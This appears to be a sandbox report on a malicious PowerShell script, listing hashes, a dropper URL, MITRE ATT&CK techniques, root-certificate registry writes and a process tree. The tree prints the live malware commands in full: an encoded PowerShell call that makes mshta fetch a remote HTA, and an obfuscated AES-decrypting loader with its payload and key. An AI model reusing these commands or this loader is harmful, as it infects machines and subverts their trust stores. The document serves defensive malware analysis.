0cac31ef407c48dcee47193048f749d04d574b3f2df85f217eff7be438988570

General

Target

b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1.ps1
Size

147B
MD5

461d549b45e71d09f616ea14cf0f46d2
SHA1

eb06f635e30520fd8e764a3c6fc1216c798400c7
SHA256

b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1
SHA512

ea3dc372f83d76964b01a0437febaef0b725267af8a2e72d55995e301ed5fea02d1792900e4ef7dee5068f2e41d96f7cdb12ed6932fff8637562e64fddb93b4f

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://microsoftcamp-c3.b-cdn.net/camp-v1

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
5	2752	mshta.exe
7	2752	mshta.exe
9	2752	mshta.exe
11	2752	mshta.exe
13	2752	mshta.exe
15	864	powershell.exe

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2356	powershell.exe
864	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2356	powershell.exe
2696	powershell.exe
864	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	864	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 2696	2356	powershell.exe	31
PID 2356 wrote to memory of 2696	2356	powershell.exe	31
PID 2356 wrote to memory of 2696	2356	powershell.exe	31
PID 2696 wrote to memory of 2752	2696	powershell.exe	32
PID 2696 wrote to memory of 2752	2696	powershell.exe	32
PID 2696 wrote to memory of 2752	2696	powershell.exe	32
PID 2752 wrote to memory of 864	2752	mshta.exe	34
PID 2752 wrote to memory of 864	2752	mshta.exe	34
PID 2752 wrote to memory of 864	2752	mshta.exe	34

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AaQBjAHIAbwBzAG8AZgB0AGMAYQBtAHAALQBjADMALgBiAC0AYwBkAG4ALgBuAGUAdAAvAGMAYQBtAHAALQB2ADEA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://microsoftcamp-c3.b-cdn.net/camp-v1
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    - Modifies system certificate store
    - Suspicious use of WriteProcessMemory
    PID:2752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function brIUT($HjeA){return -split ($HjeA -replace '..', '0x$& ')};$TODVhRF = brIUT('BD7A2B3707B4D5A6FA04450C5974911467897FAEA635C375E61EF7F5A701362EA05A72FBED7009D99927795122F56BDB77A5C7A562CB97DD7AA6A98126D0C3DD95349835F30F3C05230430C0DA1B06762BEA3D71E28798C9BA2F77E5185B5E033FCC7326AB5E75C350E8498719A25C2CD446C6788AB4A4D29AFC35309C1D12432468945A0065100F65C114310342BF95E644A862E8C59F289D8E869948EC904A8A06AB7BCD877EF40AD48BDA41E53D670E257430C9B41D7D5BA46024B00A0E92061D4E363EC73196FAAF167EC447B53C7EC644814BEF2957F8B8DA25FED21CAAA6BCE526E15F110C22E7D24CB63CF7194D64CBF124EA15CF976417DF9A3C31F6E7F6D1D8CCC6195C1C5759C078BCEC21F1EEAD77FF7C790752A3E6F61259FD936928CC85AB8CE3C4D7F5C5C3911F2E174CA9D668BA6667CFD8552C35A49A82D37FF1802F887BE3102AFEA366E6427CAF4C00AD1D26A2A0E13891C6965C59E68BE6AD1B771007EAE5360AF9978D08345674D9362629818EE2868D79F1D161F6E045DF8E1CE495BBD8C92A3BFFFC94F280BDD27630FC034C765787C3A7394C3B4CCB8AA08B7227276E679751D805C2CFADA79F65BED7EC896FF2096B12C3192449E626BBB14B7B6792F20F020D565334CE2F9A6BB082B7156641CD6202A14786B74D551C2ADAB799E749ECD1C1E737F3C9294E5557C3665B9D47BD63DA7D157BB135E986F659A1C427850F519DCAEF577D3BCE746FA620514A5C286F439BC258BB78B2F8BD90DE2162477D01D9DC24B52215A310AB78548E959A32F0663F77CEA87BB37D0A37A31FA71DDC830BBCEF9F3316C2FFC77F6E777209B1544DD076BE18B3045673702B7B7BD251F50E7EF7B179F1D350B041D7EF374F7329D88AFCDDC3F8CD501E379C678374F52B0FDABD750FA1D09C8905FDBD67017705D890E022478F9BB030476FD95D339DE7A0F15A7DDB42F68124942D5D4486FB8BC9DDE1DE666655505E64CCA93B0C941BEC3F3BCF18754AFB267438DC5CAD4C860ECF9F25234C4B8EED6CDF6549ADCED479DC662D864BB1FE809411022D8EB6B815B883FCB91B12EAAB6FC0B6BD6560C108F4FAD4C9928D9E3B19933A86696D1467487342C9AD3D82A540A0A9DA57B998DDC6DC68EC48628034FB3EB8D2A751BD4E71564D6C5196C311F0CF29EE815190C8C98B4426C7A071721942B5077A4C5BD229C3CB7D0A1F2CE1058BF3458093B4BB3AFCEA0B4DE58511DF411FD69707FB201577A2AEC2ABC554826FD1607A5CDC60713EB9B8101FE77F08291D1A9E3966C88A29A48232CEAB5C9B6AB0EABDFC5640CBB7A15105760EA820B11DDCFB6339C87F98E0D67C8B5F66CEBCDFCDB423D2892AA2201FFFEB45A1138874A513CC6A403E80FA91647FB97DF47B73641F4180417ACB434F8905429663F3AD3CC02BB7EC8F5760A3554C5F07796EEF98D66420E4C4111AF81E26E485973D470629ED4550211C5010EA8F21888817807FBA7077101CFF1200544B8473DB4AD925D5EB83929A96D1FC5937667AB4653F867B3A228F0C730BD97983DB3BAE2349660824615BE382DDB9A6786F42826AA43A43A83EB0E42FAD3B8A6FFE05483348445AD2820E3F9EE9A7DBA888F71410BE3C06EA5EE43D1284AC88D780D1FF5AE61A5ED878A5E73545AD24752B75B054F042668AD1735BD85BE52B0AC4494CD91A14C9AC1C0ACA5DE18CBF88AAECF42D84B0A885B795DE843E77CEF65247AA617140BFC23357F1523F6A79C265A9267D13DB313CB62F90BDAAFB55F8000AED649AAE6925D1F52C5A508578E52F3D210B5EBB7489A8FCD3E6F7E60F31A97F26668424A91E50656E81F8E6DAB37AFD49EFDA7C23171D7D6DF8401B625DD00CF235FB2115DAADA9603D786DF0DDFEB60750B48C2A7E48843819382D3FACCF2C6454FEB4CBC277F2283E469A440005ADCEB43B2FC3EF86468B5DD84F05AF72A8C0581087BE2C289AAB872304A237C3754A7CECBA7EF83A712B19DB18FD57291D0692B28AFFE94FEBE59AF465F107704C6BC3331E3D612B88BCAE82A8256A6A2127FC0477CE03278BFAEAA890B624ACFA7AACAD8131B03EBEC553025E635B44DC38CA1547F6B2F66680DD5464BC1270DE1221BA59EDD09696C57FB590');$yBWZm = [System.Security.Cryptography.Aes]::Create();$yBWZm.Key = brIUT('5A504E5669636D4C584770456265426C');$yBWZm.IV = New-Object byte[] 16;$AiLfvEfU = $yBWZm.CreateDecryptor();$VKZGbTYef = $AiLfvEfU.TransformFinalBlock($TODVhRF, 0, $TODVhRF.Length);$uuGcwomEu = [System.Text.Encoding]::Utf8.GetString($VKZGbTYef);$AiLfvEfU.Dispose();& $uuGcwomEu.Substring(0,3) $uuGcwomEu.Substring(3)
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\WNZH54VQ\camp-v1[1]

Filesize
207KB

MD5
f0a82fcce76a638f3800a72f96ebdb00

SHA1
6cb602d3f4323766316d2e0811858b3392f015c4

SHA256
4de7b791a8a70bb57b6396c57553963320bf0e4e48be55a450e4bc0a59a79e0e

SHA512
32fd024cd7a1a0298ca2899dcc1c911981ea7487661a85eda6bcd96cfab3cbdffd61d189191eb82f2f8d53bf90aaa4359571dbe839a26addb2c9956639638878

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabB147.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarB15A.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2257457d728e90ac619724d6db8efcb4

SHA1
9570f2451938127b2938941f5ddc6d43fa6ebb5a

SHA256
a8e23e58fe83ad2c0ec3ce36f5ff709d3bf3d4150a5c07395c12ec251e4c3d92

SHA512
8e17fffee71a54ce950b415c8d1ff66edc03014cd633f399982fa1255ab5dd059798f0b67685605d3a444e1211cdc9835b25f241916ab30ec1efecc348fdd870

Download Submit
memory/864-86-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/864-87-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2356-8-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-10-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-18-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-9-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-4-0x000007FEF594E000-0x000007FEF594F000-memory.dmp

Filesize
4KB

Download
memory/2356-7-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2356-5-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2696-16-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2696-17-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads